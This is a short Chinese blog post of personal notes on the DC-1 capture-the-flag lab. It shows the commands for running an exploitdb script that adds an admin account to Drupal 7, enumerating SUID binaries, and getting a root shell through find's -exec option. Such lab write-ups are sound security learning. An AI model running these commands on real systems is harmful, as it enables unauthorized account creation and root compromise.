首页 > 数据库 >DC-1 find提权/sql数据库创建用户(个人笔记)

DC-1 find提权/sql数据库创建用户(个人笔记)

时间:2023-05-07 18:12:29浏览次数:37  
标签:创建 DC 用户 提权 admin3 flag4 sql find

进入数据库select * from users\G;  \G为了让界面看着更整洁

 

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号:

终端/msf输入:searchsploit drupal

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://url -u admin3 -p admin3    创建成功账号:admin3  密码:admin3

// 使用它一个 Python 脚本的命令行,它将运行名为"34992.py"的 Python 脚本,去创建用户

 

6.flag4

根据提示passwd我们可以想到/etc/passwd    列出用户表

发现flag4的提示,目标发现里面有flag4,给了个路径/home/flag4

首先试试SUID提权

查看默认以root权限执行的程序:find / -perm -u=s -type f 2>/dev/null

find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

 

看到find就在其中,那就比较简单了。直接使用find提权

find /var/www -exec "/bin/sh" \;    别忘记添加引号

最终cd 切换到root用户,ls查看到最终的flag,cat打开

标签:创建,DC,用户,提权,admin3,flag4,sql,find
From: https://www.cnblogs.com/aidy/p/17379709.html

相关文章

  • MyCat05——基于Docker搭建MySQL主从复制
    1安装mysql的镜像如果服务器较少,为了充分发挥现有服务器的利用率,可以使用容器化技术来安装mysql。如果服务器没有docker,需要先安装dockeryuminstall-ydockerdocker安装后,启动服务servicedockerstart下载mysql5.7版本的docker镜像dockerpullmysql:5.72启动mysql服务启动......
  • SQL语句练习
    --1、查询所有的课程的名称以及对应的任课老师姓名SELECTcourse.teacher_id,course.cname,teacher.tnameFROMcourseLEFTJOINteacherONcourse.teacher_id=teacher.tid;--2、查询学生表中男生有多少人SELECTstudent.gender,count(student.gender)FROMstudentWHERE......
  • mysql查看耗费时间
    开启性能分析showprofiles这个命令非常强大,能清晰的展示每条SQL的持续时间。通常结合showprofile 命令可以更加详细的展示其耗时信息。这样就能很容易的分析出,到底慢在哪个环节了。比较遗憾的是,在MySQL中,该命令默认是关闭状态的。在使用之前,我们首先得启用它:开启命令:setpr......
  • HaoSQL-数据库开发环境合集
    开发的时候,常常需要数据库环境。配置起来有时候其实挺麻烦的,所以这里找到了HaoSQL,非常适合在windows环境上开发使用。包含的数据库:MySQLPgMSSQLMariaDBMonogodb链接地址:https://cloud.189.cn/web/share?code=MRNR3yvQbaAv(访问码:0eky)......
  • 学习笔记:MySQL常用的一些SQL语句
    本文谈谈MySQL的开发必会的sql语句创建数据库createdatabasedb1;删除数据库dropdatabasedb1;创建数据表createtabletb1用户表(idintnotnullauto_increment primarykey,namechar(10),                     department_idint,            ......
  • SQL Server 多行合并成一行,逗号分隔实现
    我们写sql脚本处理数据的时候针对部分数据进行groupby分组,分组后需要将部分数据放入分组后的行里面以逗号分隔。举一个简单例子: 如上图的数据,需要对学生进行分组,取得学生都参与了哪些学科的考试和所有总分。如下图这种数据目前有两种方案,1.在SQLServer2017版本 ......
  • mysql执行顺序
    Mysql语法顺序,即当sql中存在下面的关键字时,它们要保持这样的顺序: select[distinct]fromjoin(如leftjoin)onwheregroupbyhavingunionorderbylimit  Mysql执行顺序,即在执行时sql按照下面的顺序进行执行: from......
  • [docker]mysql的docker镜像中docker-entrypoint-initdb.d目录的妙用
    docker-entrypoint-initdb.d是Docker官方MySQL镜像中的一个目录,用于初始化数据库。在该目录下,可以放置一些SQL脚本文件,MySQL会在容器启动时自动执行这些脚本文件,用于创建用户、创建数据库、创建表等操作。具体来说,当MySQL镜像启动时,其entrypoint.sh脚本会检查是否存在......
  • 神奇的 SQL 之 CASE表达式,妙用多多 !
    CASE表达式之概念相信大家都用过CASE表达式,尤其是做一些统计功能的时候,用的特别多,可真要说什么是CASE表达式,我估计还真没几个人能清楚的表述出来。CASE表达式和“2+1”或者“120/3”这样的表达式一样,是一种进行运算的功能,正如CASE(情况)这个词的含义一样,用于区分情况,在有......
  • 在本机有MYSQL57的情况下安装MYSQL80
    下载MYSQL80https://dev.mysql.com/downloads/mysql/需要ORACLE账号配置环境变量加一个环境变量MYSQL_HOME80值为自己的放置解压的MYSQL80的根目录路径在PATH中配置环境变量%KEY%可以索引到刚才在外面配置的路径的内容,然后加上\bin,\bin中有可执行的批处理脚本将80的环境......